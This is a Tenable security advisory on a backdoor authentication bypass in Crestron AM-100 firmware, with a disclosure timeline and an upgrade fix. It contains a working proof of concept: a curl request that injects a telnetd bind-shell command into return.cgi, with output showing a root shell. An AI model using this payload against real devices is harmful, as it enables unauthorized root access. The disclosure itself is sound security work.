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[R1] Crestron AM-100 Authentication Bypass

Critical

Synopsis

While doing patch analysis on the Crestron AM-100, Tenable discovered a backdoor had been removed in the most recent firmware version (1.6.0.2). Tenable found no documentation for this patch. After sharing this finding with Creston, they confirmed the issue and released a new security advisory.

The backdoor exists in the web interface's return.cgi binary. The logic looks for a noNeedSeid XML node containing the text "SetFlag" where the authenticated user's token should be:

A remote unauthenticated attacker can combine this attack with CVE-2017-16709 to get a root shell.

[email protected]:~$ curl --header "Content-Type: application/x-www-form-urlencoded" --request POST --data "command=<Send><noNeedSeid>SetFlag</noNeedSeid><upload><protocol>http</protocol><address>http://192.168.88.253:1270||telnetd -l /bin/sh -b 0.0.0.0:1270|| whoami</address><logo>lol</logo></upload></Send>" --insecure https://192.168.88.250/cgi-bin/return.cgi
<return><protocol>http</protocol><result>0</result></return>
[email protected]:~$ 
[email protected]:~$ telnet 192.168.88.250 1270
Trying 192.168.88.250...
Connected to 192.168.88.250.
Escape character is '^]'.

~/boa/cgi-bin # uname -a
Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux
~/boa/cgi-bin # cat /proc/cpuinfo 
Processor : ARMv6-compatible processor rev 7 (v6l)
BogoMIPS : 532.24
Features : swp half thumb fastmult vfp edsp java 
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xb76
CPU revision : 7

Hardware : WMT
Revision : 0000
Serial : 0000000000000000
~/boa/cgi-bin # whoami
root
~/boa/cgi-bin #

Solution

Upgrade to AM-100 1.6.0.2.

Disclosure Timeline

12/17/2018 - Tenable reaches out to Crestron Support for a security contact.
12/17/2018 - Crestron Support informs Tenable they will forward any messages along.
12/17/2018 - Tenable asks if Crestron was aware a backdoor was patched out of their AM-100 device from 1.5.0.3 to 1.6.0.2. Tenable provides a PoC.
12/18/2018 - Crestron Support fowards the question to security.
12/20/2018 - Tenable asks if there is any type of update.
12/20/2018 - Crestron support says the message is with the security team.
01/03/2018 - Tenable asks for an update.
01/03/2018 - Crestron security says "If you feel that a unique CVE is warranted, you have our full support in publishing one." Also indicates that Crestron's advisory page will be updated.
01/10/2018 - Tenable provides the CVE that will be used for this vulnerability.
01/10/2018 - Crestron thanks Tenable.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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